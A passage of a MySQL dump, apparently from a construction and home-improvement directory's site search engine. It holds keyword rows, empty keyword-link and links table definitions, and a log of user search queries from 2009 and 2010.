ballister'),(1104,'gray'),(1105,'kit'),(1106,'porch'),(1107,'system'),(1108,'locations'),(1109,'low-voltage'),(1110,'join'),(1111,'248'),(1112,'1985'),(1113,'421-2653'),(1114,'821-1078'),(1115,'air'),(1116,'alternative'),(1117,'always'),(1118,'angelus'),(1119,'armada'),(1120,'balancing'),(1121,'belly'),(1122,'berkley'),(1123,'beverly'),(1124,'bingham'),(1125,'bloomfield'),(1126,'boiler'),(1127,'boilers'),(1128,'bruce'),(1129,'call'),(1130,'catch'),(1131,'centerline'),(1132,'chesterfield'),(1133,'chris'),(1134,'churches'),(1135,'clair'),(1136,'clarkston'),(1137,'clawson'),(1138,'clemens'),(1139,'clients'),(1140,'clinton'),(1141,'combined'),(1142,'conditioning'),(1143,'continues'),(1144,'contractors'),(1145,'customers'),(1146,'deal'),(1147,'designs'),(1148,'directly'),(1149,'done'),(1150,'duct'),(1151,'dynamic'),(1152,'eastpointe'),(1153,'emergency'),(1154,'energy'),(1155,'estimated'),(1156,'excellent'),(1157,'farms'),(1158,'ferndale'),(1159,'franklin'),(1160,'furnaces'),(1161,'generators'),(1162,'grow'),(1163,'harbor'),(1164,'hard'),(1165,'hazel'),(1166,'heat'),(1167,'heaters'),(1168,'heights'),(1169,'hills'),(1170,'his'),(1171,'holly'),(1172,'honestly'),(1173,'huntington'),(1174,'inc'),(1175,'indoor'),(1176,'jim'),(1177,'keego'),(1178,'knows'),(1179,'lathrup'),(1180,'leonard'),(1181,'let'),(1182,'lyon'),(1183,'macomb'),(1184,'meticulous'),(1185,'mick'),(1186,'milford'),(1187,'mount'),(1188,'nisbet-northstar'),(1189,'northville'),(1190,'novi'),(1191,'oakland'),(1192,'operating'),(1193,'orchard'),(1194,'orion'),(1195,'ortonville'),(1196,'overstock'),(1197,'oxford'),(1198,'park'),(1199,'phone'),(1200,'pleasant'),(1201,'pleasure'),(1202,'pontiac'),(1203,'pot'),(1204,'president'),(1205,'prompt'),(1206,'proven'),(1207,'provide'),(1208,'quality'),(1209,'radiant'),(1210,'ray'),(1211,'record'),(1212,'referrals'),(1213,'reliable'),(1214,'relied'),(1215,'replacement'),(1216,'replacements'),(1217,'resellers'),(1218,'retrofit'),(1219,'ridge'),(1220,'romeo'),(1221,'roseville'),(1222,'royal'),(1223,'satisfied'),(1224,'schools'),(1225,'serve'),(1226,'service'),(1227,'shelby'),(1228,'shores'),(1229,'since'),(1230,'smither'),(1231,'southeastern'),(1232,'southfield'),(1233,'sterling'),(1234,'stuff'),(1235,'sylvan'),(1236,'systems'),(1237,'through'),(1238,'township'),(1239,'troy'),(1240,'trucks'),(1241,'village'),(1242,'walled'),(1243,'warren'),(1244,'wixom'),(1245,'wolverine'),(1246,'woods'),(1247,'517-223-0659'),(1248,'absolutely'),(1249,'applications'),(1250,'benjamin'),(1251,'best'),(1252,'businesses'),(1253,'caulking'),(1254,'colors'),(1255,'consultation'),(1256,'coronado'),(1257,'create'),(1258,'credit'),(1259,'designers'),(1260,'elicit'),(1261,'end'),(1262,'expert'),(1263,'finishing'),(1264,'floors'),(1265,'focused'),(1266,'friendlier'),(1267,'friendly'),(1268,'glazing'),(1269,'great'),(1270,'had'),(1271,'hartland'),(1272,'having'),(1273,'help'),(1274,'homes'),(1275,'howell'),(1276,'jhb'),(1277,'knack'),(1278,'making'),(1279,'marine'),(1280,'moore'),(1281,'nisbet'),(1282,'notch'),(1283,'painter'),(1284,'picking'),(1285,'places'),(1286,'pressure'),(1287,'prettier'),(1288,'privelege'),(1289,'profession'),(1290,'professional'),(1291,'quote'),(1292,'refinishing'),(1293,'roller'),(1294,'satsfaction'),(1295,'selecting'),(1296,'sherwin'),(1297,'stain'),(1298,'staining'),(1299,'stainwork'),(1300,'star'),(1301,'take'),(1302,'today'),(1303,'truly'),(1304,'varnish'),(1305,'warmer'),(1306,'williams'),(1307,'worked'),(1308,'america\'s'),(1309,'future'),(1310,'girl'),(1311,'ingenuity'),(1312,'inspirational'),(1313,'inspired'),(1314,'jay'),(1315,'leno'),(1316,'log'),(1317,'nick'),(1318,'perspective'),(1319,'splitter'),(1320,'videos'),(1321,'abide'),(1322,'access'),(1323,'address'),(1324,'advertisers'),(1325,'advertising'),(1326,'allowed'),(1327,'asked'),(1328,'august'),(1329,'change'),(1330,'charge'),(1331,'checking'),(1332,'claims'),(1333,'classified'),(1334,'collect'),(1335,'collected'),(1336,'commencing'),(1337,'common'),(1338,'company'),(1339,'compliance'),(1340,'confirmation'),(1341,'customer'),(1342,'data'),(1343,'directed'),(1344,'distribute'),(1345,'event'),(1346,'guidelines'),(1347,'industry'),(1348,'instructions'),(1349,'item'),(1350,'laws'),(1351,'liable'),(1352,'listings'),(1353,'local'),(1354,'marketing'),(1355,'means'),(1356,'merchandise'),(1357,'myads'),(1358,'non-conforming'),(1359,'obtain'),(1360,'order'),(1361,'order\'s'),(1362,'parties'),(1363,'payment'),(1364,'paypal\'s'),(1365,'place'),(1366,'pornographic'),(1367,'privacy'),(1368,'pulled'),(1369,'purchased'),(1370,'purposes'),(1371,'reason'),(1372,'regularily'),(1373,'related'),(1374,'reliability'),(1375,'removed'),(1376,'respects'),(1377,'responsibility'),(1378,'responsible'),(1379,'salacious'),(1380,'secure'),(1381,'sell'),(1382,'server'),(1383,'shipping'),(1384,'spot'),(1385,'standards'),(1386,'subject'),(1387,'third'),(1388,'transmitted'),(1389,'updates'),(1390,'venue'),(1391,'veracity'),(1392,'warranties'),(1393,'website'),(1394,' if'),(1395,'inches'),(1396,'3076'),(1397,'actual'),(1398,'assumed'),(1399,'baseboard'),(1400,'casing'),(1401,'ceilings'),(1402,'chair'),(1403,'coats'),(1404,'coverage'),(1405,'crown'),(1406,'door'),(1407,'gallons'),(1408,'heavy'),(1409,'hourly'),(1410,'light'),(1411,'mouldings'),(1412,'numerical'),(1413,'pale'),(1414,'previous'),(1415,'rail'),(1416,'rate'),(1417,'receive'),(1418,'reduce'),(1419,'rounded'),(1420,'same'),(1421,'scope'),(1422,'size'),(1423,'trim'),(1424,'window'),(1425,'case'),(1426,'copy'),(1427,'errors'),(1428,'message'),(1429,'send'),(1430,'transmission'),(1431,'anonymous'),(1432,'emails'),(1433,'inquiry'),(1434,'logged'),(1435,'regarding'),(1436,'01300-05999'),(1437,'06000-08999'),(1438,'09000-09999'),(1439,'10000-14999'),(1440,'15000-16850'),(1441,'administration'),(1442,'alphabetical'),(1443,'antiques'),(1444,'atmospheric'),(1445,'benches'),(1446,'canadian'),(1447,'cement'),(1448,'code'),(1449,'comm'),(1450,'contract'),(1451,'conversion'),(1452,'coverings'),(1453,'department'),(1454,'dictionary'),(1455,'documents'),(1456,'fans'),(1457,'forms'),(1458,'gmt'),(1459,'homeland'),(1460,'index'),(1461,'institute'),(1462,'lookup'),(1463,'maps'),(1464,'metal'),(1465,'national'),(1466,'oceanic'),(1467,'osha'),(1468,'plastics'),(1469,'posts'),(1470,'publications'),(1471,'reference'),(1472,'resi'),(1473,'rooms'),(1474,'safety'),(1475,'signs'),(1476,'spas'),(1477,'specifications'),(1478,'storage'),(1479,'theater'),(1480,'translator'),(1481,'treatment'),(1482,'vacuum'),(1483,'waste'),(1484,'weather'),(1485,'whirlpools'),(1486,'world'),(1487,'zip'),(1488,'zones'),(1489,'»appliances'),(1490,'»arch'),(1491,'»baths'),(1492,'»building'),(1493,'»cabinetry'),(1494,'»carpet'),(1495,'»ceiling'),(1496,'»central'),(1497,'»closet'),(1498,'»closets'),(1499,'»concrete'),(1500,'»countertops'),(1501,'»cupolas'),(1502,'»doors'),(1503,'»drywall'),(1504,'»electrical'),(1505,'»equipment'),(1506,'»fiber'),(1507,'»fireplaces'),(1508,'»fluid'),(1509,'»furniture'),(1510,'»hardware'),(1511,'»home'),(1512,'»hvac'),(1513,'»insulated'),(1514,'»insulation'),(1515,'»irrigation'),(1516,'»kitchen'),(1517,'»labor'),(1518,'»laminate'),(1519,'»lamp'),(1520,'»lighting'),(1521,'»louvers'),(1522,'»low'),(1523,'»mailboxes'),(1524,'»masonry'),(1525,'»millwork'),(1526,'»mortgages'),(1527,'»ornamental'),(1528,'»paint'),(1529,'»park'),(1530,'»pavers'),(1531,'»plumbing'),(1532,'»pools'),(1533,'»reference'),(1534,'»refrigeration'),(1535,'»roofing'),(1536,'»security'),(1537,'»sheds'),(1538,'»sound'),(1539,'»specialty'),(1540,'»steel'),(1541,'»street'),(1542,'»tile'),(1543,'»ventilation'),(1544,'»vinyl'),(1545,'»wallcovering'),(1546,'»waste'),(1547,'»weathervanes'),(1548,'»window'),(1549,'»windows'),(1550,'»wood'),(1551,'adirondack'),(1552,'chairs'),(1553,'plans'),(1554,'powered'),(1555,'accessed'),(1556,'been'),(1557,'error'),(1558,'invalid'),(1559,'01300'),(1560,'02225'),(1561,'02800'),(1562,'02810'),(1563,'03000'),(1564,'03120'),(1565,'04000'),(1566,'05000'),(1567,'05700'),(1568,'accessories'),(1569,'acme'),(1570,'amvic'),(1571,'architectural'),(1572,'association'),(1573,'belden'),(1574,'bfi'),(1575,'blanc'),(1576,'boral'),(1577,'brick'),(1578,'bricks'),(1579,'coatings'),(1580,'corning'),(1581,'cultured'),(1582,'davis'),(1583,'gaf'),(1584,'grace'),(1585,'gravel'),(1586,'halfen'),(1587,'hilti'),(1588,'hunter'),(1589,'iceblock'),(1590,'icf'),(1591,'industries'),(1592,'insulated'),(1593,'irrigation'),(1594,'irritrol'),(1595,'lafarge'),(1596,'mapei'),(1597,'mel'),(1598,'metals'),(1599,'nat\'l'),(1600,'northey'),(1601,'organizations'),(1602,'owens'),(1603,'page→'),(1604,'pavers'),(1605,'pavestone'),(1606,'polysteel'),(1607,'prosoco'),(1608,'rainbird'),(1609,'rinker'),(1610,'sand'),(1611,'solomon'),(1612,'stone'),(1613,'thoroseal'),(1614,'toro'),(1615,'tyvek'),(1616,'unilock'),(1617,'worldwide'),(1618,'06000'),(1619,'06400'),(1620,'06415'),(1621,'07400'),(1622,'07460'),(1623,'08200'),(1624,'08360'),(1625,'08500'),(1626,'08620'),(1627,'08700'),(1628,'abc'),(1629,'american'),(1630,'andersen'),(1631,'anthony'),(1632,'armstrong'),(1633,'associates'),(1634,'avonite'),(1635,'baker-mcmillen'),(1636,'baldwin'),(1637,'benchmark'),(1638,'brunt'),(1639,'butler'),(1640,'cabinet'),(1641,'cabinets'),(1642,'cangelosi'),(1643,'cardell'),(1644,'cascade'),(1645,'cemplank'),(1646,'certainteed'),(1647,'clay'),(1648,'clopay'),(1649,'concepts'),(1650,'corian'),(1651,'cornell'),(1652,'corp'),(1653,'countertop'),(1654,'countertops'),(1655,'dawson'),(1656,'desk'),(1657,'direct'),(1658,'dow'),(1659,'downsview'),(1660,'dupont'),(1661,'duprin'),(1662,'elk'),(1663,'engineered'),(1664,'executive'),(1665,'fiber'),(1666,'fieldstone'),(1667,'forest'),(1668,'formica'),(1669,'genie'),(1670,'guardian'),(1671,'hammer'),(1672,'hardie'),(1673,'igm'),(1674,'international'),(1675,'james'),(1676,'jeld-wen'),(1677,'johns'),(1678,'kcma'),(1679,'kitchencraft'),(1680,'knape'),(1681,'knauf'),(1682,'kraftmaid'),(1683,'laminates'),(1684,'level'),(1685,'lock'),(1686,'ltd'),(1687,'macrae\'s'),(1688,'manville'),(1689,'marble'),(1690,'marvin'),(1691,'mastercraft'),(1692,'merillat'),(1693,'mirror'),(1694,'monier'),(1695,'nevamar'),(1696,'nova'),(1697,'omega'),(1698,'openers'),(1699,'org'),(1700,'overhead'),(1701,'pacific'),(1702,'parts'),(1703,'peachtree'),(1704,'pella'),(1705,'pionite'),(1706,'plastic'),(1707,'raynor'),(1708,'river'),(1709,'schlage'),(1710,'schrock'),(1711,'showcase'),(1712,'silestone'),(1713,'simpson'),(1714,'skylights'),(1715,'solatube'),(1716,'strongtie'),(1717,'sugatsune'),(1718,'supply'),(1719,'surfaces'),(1720,'tamko'),(1721,'thermatru'),(1722,'tile'),(1723,'timberlake'),(1724,'tubular'),(1725,'unifix'),(1726,'vogt'),(1727,'von'),(1728,'wayne-dalton'),(1729,'weiser'),(1730,'weyerhaeuser'),(1731,'wilsonart'),(1732,'wood-mode'),(1733,'woodmark'),(1734,'woodtruss'),(1735,'yale'),(1736,'09720'),(1737,'09770'),(1738,'america'),(1739,'amtico'),(1740,'beaulieu'),(1741,'behr'),(1742,'bentley'),(1743,'bradbury'),(1744,'carpet'),(1745,'ceramiche'),(1746,'congoleum'),(1747,'daltile'),(1748,'eliane'),(1749,'emser'),(1750,'fiandre'),(1751,'finishes'),(1752,'fuller'),(1753,'graniti'),(1754,'greeff'),(1755,'guild'),(1756,'gypsum'),(1757,'hartco'),(1758,'heartpine'),(1759,'interceramic'),(1760,'kahrs'),(1761,'karastan'),(1762,'kelly-moore'),(1763,'lambert'),(1764,'laminate'),(1765,'laufen'),(1766,'lauren'),(1767,'mannington'),(1768,'marazzi'),(1769,'mastertile'),(1770,'mdc'),(1771,'milliken'),(1772,'mills'),(1773,'minwax'),(1774,'mohawk'),(1775,'paints'),(1776,'paperhangers'),(1777,'pergo'),(1778,'porcelanosa'),(1779,'ppg'),(1780,'pratt'),(1781,'ralph'),(1782,'rug'),(1783,'rulon'),(1784,'rustoleum'),(1785,'scalamandre'),(1786,'schumacher'),(1787,'seabrook'),(1788,'shaw'),(1789,'special'),(1790,'stainmaster'),(1791,'trikes'),(1792,'usg'),(1793,'vintage'),(1794,'vinyl'),(1795,'walker'),(1796,'wallcoverings'),(1797,'wallpaperstore'),(1798,'warner'),(1799,'waverly'),(1800,'zanger'),(1801,'10300'),(1802,'10340'),(1803,'10550'),(1804,'10670'),(1805,'11013'),(1806,'11060'),(1807,'11300'),(1808,'11450'),(1809,'11454'),(1810,'12000'),(1811,'12493'),(1812,'12500'),(1813,'13035'),(1814,'13150'),(1815,'13850'),(1816,'abwf'),(1817,'adkins'),(1818,'adt'),(1819,'aga'),(1820,'alarm'),(1821,'amana'),(1822,'appliances'),(1823,'aqua'),(1824,'aquatic'),(1825,'asko'),(1826,'automatic'),(1827,'bbq'),(1828,'brinks'),(1829,'broil'),(1830,'castings'),(1831,'closets'),(1832,'concept'),(1833,'cupolas'),(1834,'delta'),(1835,'dolby'),(1836,'ducane'),(1837,'emerald'),(1838,'environmental'),(1839,'fire'),(1840,'fireplace'),(1841,'fisher'),(1842,'fluid'),(1843,'frigidaire'),(1844,'furniture'),(1845,'galore'),(1846,'glo'),(1847,'grilles'),(1848,'heartland'),(1849,'heatilator'),(1850,'hotpoint'),(1851,'hotspring'),(1852,'ironing'),(1853,'jacuzzi'),(1854,'king'),(1855,'kitchenaid'),(1856,'lamps'),(1857,'lee'),(1858,'louvers'),(1859,'magazine'),(1860,'mailboxes'),(1861,'marvel'),(1862,'maytag'),(1863,'mfg'),(1864,'miele'),(1865,'northland'),(1866,'nutone'),(1867,'outdoor'),(1868,'partitions'),(1869,'paykel'),(1870,'perfection'),(1871,'pgs'),(1872,'portafab'),(1873,'roper'),(1874,'rowan'),(1875,'sharp'),(1876,'sheds'),(1877,'spa'),(1878,'specialty'),(1879,'stanley-vidmar'),(1880,'street'),(1881,'sub-zero'),(1882,'sundance'),(1883,'swimmingpools'),(1884,'swin'),(1885,'unlimited'),(1886,'vac'),(1887,'ventahood'),(1888,'vents'),(1889,'viking'),(1890,'weathervanes'),(1891,'whirlpool'),(1892,'wolf'),(1893,'www'),(1894,'15400'),(1895,'15800'),(1896,'16000'),(1897,'16400'),(1898,'16820'),(1899,'airvent'),(1900,'americh'),(1901,'aosmith'),(1902,'aprilaire'),(1903,'aquaglass'),(1904,'basics'),(1905,'baths'),(1906,'bathware'),(1907,'better'),(1908,'blanco-america'),(1909,'bose'),(1910,'brasstech'),(1911,'briggs'),(1912,'broan'),(1913,'bryant'),(1914,'build'),(1915,'carrier'),(1916,'casablanca'),(1917,'controls'),(1918,'cor-a-vent'),(1919,'cornerstone'),(1920,'crane'),(1921,'danze'),(1922,'elkay'),(1923,'emerson'),(1924,'eurobath'),(1925,'fannie'),(1926,'faucets'),(1927,'feiss'),(1928,'ferguson'),(1929,'fiat'),(1930,'framburg'),(1931,'franke'),(1932,'gardens'),(1933,'grohe'),(1934,'hansgrohe'),(1935,'hapco'),(1936,'hydrosystem'),(1937,'intercoms'),(1938,'johnson'),(1939,'kohler'),(1940,'lasco'),(1941,'lending'),(1942,'lennox'),(1943,'leviton'),(1944,'lightolier'),(1945,'linear'),(1946,'literature'),(1947,'lithonia'),(1948,'loan'),(1949,'loans'),(1950,'lucasey'),(1951,'lutron'),(1952,'mae'),(1953,'manufacturers'),(1954,'moen'),(1955,'mortgage'),(1956,'mortgages'),(1957,'mti'),(1958,'newconcept'),(1959,'owens-corning'),(1960,'pfister'),(1961,'plan'),(1962,'quicken'),(1963,'rejuvenation'),(1964,'rheem'),(1965,'schonbek'),(1966,'sloan'),(1967,'sound'),(1968,'standard'),(1969,'thomas'),(1970,'toto'),(1971,'traditional'),(1972,'trane'),(1973,'tree'),(1974,'triarch'),(1975,'ultrabaths'),(1976,'ventilation'),(1977,'veterans'),(1978,'westinghouse');

--
-- Table structure for table `link_keyword0`
--

CREATE TABLE `link_keyword0` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword0`
--


--
-- Table structure for table `link_keyword1`
--

CREATE TABLE `link_keyword1` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword1`
--


--
-- Table structure for table `link_keyword2`
--

CREATE TABLE `link_keyword2` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword2`
--


--
-- Table structure for table `link_keyword3`
--

CREATE TABLE `link_keyword3` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword3`
--


--
-- Table structure for table `link_keyword4`
--

CREATE TABLE `link_keyword4` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword4`
--


--
-- Table structure for table `link_keyword5`
--

CREATE TABLE `link_keyword5` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword5`
--


--
-- Table structure for table `link_keyword6`
--

CREATE TABLE `link_keyword6` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword6`
--


--
-- Table structure for table `link_keyword7`
--

CREATE TABLE `link_keyword7` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword7`
--


--
-- Table structure for table `link_keyword8`
--

CREATE TABLE `link_keyword8` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword8`
--


--
-- Table structure for table `link_keyword9`
--

CREATE TABLE `link_keyword9` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyword9`
--


--
-- Table structure for table `link_keyworda`
--

CREATE TABLE `link_keyworda` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyworda`
--


--
-- Table structure for table `link_keywordb`
--

CREATE TABLE `link_keywordb` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keywordb`
--


--
-- Table structure for table `link_keywordc`
--

CREATE TABLE `link_keywordc` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keywordc`
--


--
-- Table structure for table `link_keywordd`
--

CREATE TABLE `link_keywordd` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keywordd`
--


--
-- Table structure for table `link_keyworde`
--

CREATE TABLE `link_keyworde` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keyworde`
--


--
-- Table structure for table `link_keywordf`
--

CREATE TABLE `link_keywordf` (
  `link_id` int(11) NOT NULL,
  `keyword_id` int(11) NOT NULL,
  `weight` int(3) DEFAULT NULL,
  `domain` int(4) DEFAULT NULL,
  KEY `linkid` (`link_id`),
  KEY `keyid` (`keyword_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `link_keywordf`
--


--
-- Table structure for table `links`
--

CREATE TABLE `links` (
  `link_id` int(11) NOT NULL AUTO_INCREMENT,
  `site_id` int(11) DEFAULT NULL,
  `url` varchar(255) NOT NULL,
  `title` varchar(200) DEFAULT NULL,
  `description` varchar(255) DEFAULT NULL,
  `fulltxt` mediumtext,
  `indexdate` date DEFAULT NULL,
  `size` float DEFAULT NULL,
  `md5sum` varchar(32) DEFAULT NULL,
  `visible` int(11) DEFAULT '0',
  `level` int(11) DEFAULT NULL,
  PRIMARY KEY (`link_id`),
  KEY `url` (`url`),
  KEY `md5key` (`md5sum`)
) ENGINE=MyISAM AUTO_INCREMENT=138 DEFAULT CHARSET=latin1;

--
-- Dumping data for table `links`
--


--
-- Table structure for table `pending`
--

CREATE TABLE `pending` (
  `site_id` int(11) DEFAULT NULL,
  `temp_id` varchar(32) DEFAULT NULL,
  `level` int(11) DEFAULT NULL,
  `count` int(11) DEFAULT NULL,
  `num` int(11) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `pending`
--


--
-- Table structure for table `query_log`
--

CREATE TABLE `query_log` (
  `query` varchar(255) DEFAULT NULL,
  `time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `elapsed` float DEFAULT NULL,
  `results` int(11) DEFAULT NULL,
  KEY `query_key` (`query`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `query_log`
--

INSERT INTO `query_log` VALUES ('wood','2009-08-04 23:21:13',0,4),('wood','2009-08-04 23:21:31',0,4),('wood','2009-08-04 23:21:39',0,4),('wood','2009-08-04 23:22:02',0,4),('wood','2009-08-04 23:22:14',0,4),('wood','2009-08-04 23:22:59',0,4),('jobs','2009-08-04 23:38:03',0,2),('jobs','2009-08-04 23:38:13',0,2),('jobs','2009-08-04 23:38:23',0,2),('plumbing','2009-08-04 23:38:40',0.01,16),('plumbing','2009-08-04 23:39:12',0.01,16),('job','2009-08-06 05:41:29',0.01,130),('furnace','2009-08-06 05:42:05',0.01,0),('furnaces','2009-08-06 05:42:14',0,1),('doors','2009-08-06 05:42:56',0.01,19),('wood','2009-08-06 05:44:10',0,4),('siding','2009-08-06 05:59:52',0.01,16),('siding','2009-08-06 06:01:39',0.01,16),('siding','2009-08-06 06:01:51',0.01,16),('siding','2009-08-06 06:06:28',0.01,16),('siding','2009-08-06 06:06:34',0.01,16),('siding','2009-08-06 06:07:30',0,16),('siding','2009-08-06 06:07:43',0.01,16),('siding','2009-08-06 06:08:22',0.01,16),('siding','2009-08-06 06:17:34',0.01,16),('siding','2009-08-06 06:23:15',0.01,16),('plumbing','2009-08-06 19:34:04',0.01,16),('plumbing','2009-08-06 19:34:32',0.01,16),('plumbing','2009-08-06 19:34:51',0.01,16),('Construction Jobs Orlando','2009-08-07 20:48:58',0.01,1),('Construction Jobs New Orleans','2009-08-08 20:41:40',0.01,1),('job houston','2009-09-22 09:06:37',0.01,1),('job houston','2009-09-22 09:06:54',0.01,1),('job houston','2009-09-22 09:07:34',0.01,1),('superintendent dalls','2009-09-22 09:08:07',0.01,0),('superintendent dallas','2009-09-22 09:08:12',0.02,1),('construction dallas','2009-09-22 09:08:38',0.01,1),('architect tucson','2009-09-22 09:09:12',0.02,1),('architect detroit','2009-09-22 09:09:39',0,1),('engineer','2009-09-22 09:10:01',0.01,0),('engineer','2009-09-22 09:10:05',0.01,0),('engineer','2009-09-22 09:10:10',0.01,0),('lumber','2009-09-22 09:10:36',0.03,20),('Construction Jobs Houston','2009-09-22 09:26:17',0.01,1),('construction jobs','2009-09-23 22:08:39',0.01,2),('Construction Jobs Detroit','2009-09-24 13:36:14',0.01,1),('Construction Jobs Kalispell','2009-09-24 14:46:26',0.03,0),('Construction Jobs Tampa','2009-09-24 15:57:06',0.01,1),('Construction Jobs Baton Rouge','2009-09-24 17:06:45',0.01,1),('Construction Jobs Orlando','2009-09-25 23:08:42',0.01,1),('','2009-09-28 09:00:42',0.02,0),('','2009-09-28 09:01:17',0,0),('jobs','2009-09-30 22:59:53',0.05,2),('Construction Jobs Miami','2009-10-01 13:44:51',0.02,1),('Construction Jobs New Orleans','2009-10-06 10:49:23',0.05,1),('Construction Jobs Detroit','2009-10-06 15:37:12',0.05,1),('Construction Jobs New Orleans','2009-10-07 05:31:05',0.01,1),('Construction Jobs Grand Rapids','2009-10-07 06:39:23',0.04,1),('Construction Jobs Orlando','2009-10-07 13:05:41',0.01,1),('Construction Jobs Detroit','2009-10-08 00:01:33',0.01,1),('Construction Jobs Baton Rouge','2009-10-08 05:09:37',0.03,1),('Construction Jobs Tampa','2009-10-08 06:14:13',0.01,1),('Construction Jobs West Palm Beach','2009-10-08 19:34:48',0.04,1),('Construction Jobs Shreveport','2009-10-10 04:28:11',0.01,1),('Construction Jobs Miami','2009-10-10 13:54:38',0.04,1),('language conversion','2009-10-14 06:18:38',0.06,0),('permacast','2009-11-26 00:24:11',0.03,1),('jobs','2009-12-04 19:41:01',0.04,2),('jobs houston','2009-12-04 19:41:14',0.02,1),('about us','2009-12-30 23:37:57',0.02,0),('jobs','2010-01-01 19:10:39',0,2),('jobs','2010-01-01 19:14:56',0,2),('jobs','2010-01-02 01:23:23',0,2),('jobs','2010-01-02 01:28:17',0,2),('jobs','2010-01-02 01:28:58',0,2),('jobs','2010-01-02 01:41:16',0,2),('jobs','2010-01-02 03:30:54',0,2),('jobs','2010-01-02 03:32:07',0,2),('jobs','2010-01-02 03:32:13',0,2),('superintendent','2010-01-02 03:32:28',0,1),('superintendent','2010-01-02 03:33:26',0,1),('superintendent','2010-01-02 03:33:35',0,1),('superintendent','2010-01-02 03:42:58',0,1),('superintendent','2010-01-02 03:45:06',0,1),('superintendent','2010-01-02 03:49:39',0,1),('superintendent','2010-01-02 03:50:31',0,1),('roofing','2010-03-11 03:42:21',0.02,0),('roofing','2010-03-11 03:42:22',0,0),('calculator','2010-04-23 22:59:46',0.03,6),('calculators','2010-05-20 16:05:22',0.02,2),('taxes','2010-08-02 00:18:55',0.02,0),('taxes','2010-08-02 00:18:55',0,0),('taxes','2010-08-02 